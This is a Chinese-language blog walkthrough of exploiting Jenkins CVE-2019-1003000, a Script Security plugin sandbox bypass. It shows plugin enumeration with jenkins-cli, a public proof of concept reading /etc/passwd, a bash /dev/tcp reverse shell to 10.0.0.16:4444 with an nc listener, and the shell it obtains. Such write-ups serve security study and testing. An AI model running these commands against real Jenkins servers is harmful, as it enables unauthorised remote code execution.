Jenkins漏洞利用实战:CVE-2019-1003000远程代码执行

本文详细分析了Jenkins CVE-2019-1003000漏洞的利用过程,涉及脚本安全插件版本检测、权限绕过技巧,并通过PoC演示如何实现远程命令执行和反弹shell获取权限。

Jenkins漏洞利用实战:CVE-2019-1003000远程代码执行

在Orange Tsai发布Jenkins漏洞利用后,我进行了一些深入研究。针对Jenkins的预认证远程代码执行(PreAuth RCE)是许多人追求的目标。

虽然与博客文章和推文不完全相关,但搜索过程中发现了以下漏洞利用方法。我意识到插件版本对于最新一轮Jenkins漏洞利用至关重要。坦白说,过去我从未过多关注插件,因为问题通常出现在Jenkins核心(如第一篇博客所述),但您可以通过访问jenkins-server/pluginManager/installed查看插件。

Jenkins插件管理器

需要管理员权限,否则会看到:

无权限访问Jenkins插件管理器

如果有权限,还可以使用jenkins-cli客户端获取信息:

1
$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

输出示例(部分插件列表):

1
2
3
jsch                           JSch dependency plugin                           0.1.55
structs                        Structs Plugin                                   1.17
script-security                Script Security Plugin                          1.49 (1.53)

据我所知,无法像WordPress那样在没有(提升的)身份验证的情况下枚举已安装的插件及其版本。如果您知道方法,请告诉我。目前只能尝试各种方法看看哪些有效。

CVE-2019-1003000漏洞分析

最新的特定漏洞与已安装的Jenkins插件有关。查看CVE-2019-1003000(https://nvd.nist.gov/vuln/detail/CVE-2019-1003000),它影响脚本安全插件(nist.gov显示2.49,但应为1.49),如Jenkins咨询中所述:https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

该漏洞的利用代码在此处可用:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc,甚至附带Docker配置以启动易受攻击的版本进行测试。此特定漏洞利用的重要之处在于它是后认证的,但不需要脚本权限,只需要Overall/Read权限和Job/Configure权限。

我看到越来越多的服务器/管理员(理所当然地)阻止访问脚本和scriptText控制台,因为众所周知这会立即导致RCE。

无脚本权限

在Pipeline: Declarative Plugin版本1.3.4.1之前、Pipeline: Groovy Plugin版本2.61.1之前和Script Security Plugin版本1.50之前发现了一个缺陷。

此PoC使用具有Overall/Read和Job/Configure权限的用户在沙盒模式下执行恶意修改的构建脚本,并尝试绕过沙盒模式限制以运行任意脚本(在本例中,我们将执行系统命令)。

作为背景,Jenkins的流水线构建脚本是用Groovy编写的。此构建脚本将在Jenkins主节点或节点上编译和执行,包含流水线的定义,例如在从节点中执行的操作。Jenkins还提供在沙盒模式下执行的脚本。在沙盒模式下,所有危险功能都被列入黑名单,因此普通用户无法对Jenkins服务器进行任何恶意操作。

运行漏洞利用

1
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

输出示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

您当然也可以从中获取反向shell:

1
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"

在监听端:

1
nc -l 4444 -vv

获得shell:

1
2
3
4
bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$ whoami
jenkins

总结

如果安装了旧版本的脚本安全插件,并且您具有Overall/Read权限和Job/Configure权限(普通Jenkins用户更可能拥有这些权限),则可以使用此漏洞利用获取shell,且此漏洞利用不需要使用脚本控制台。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计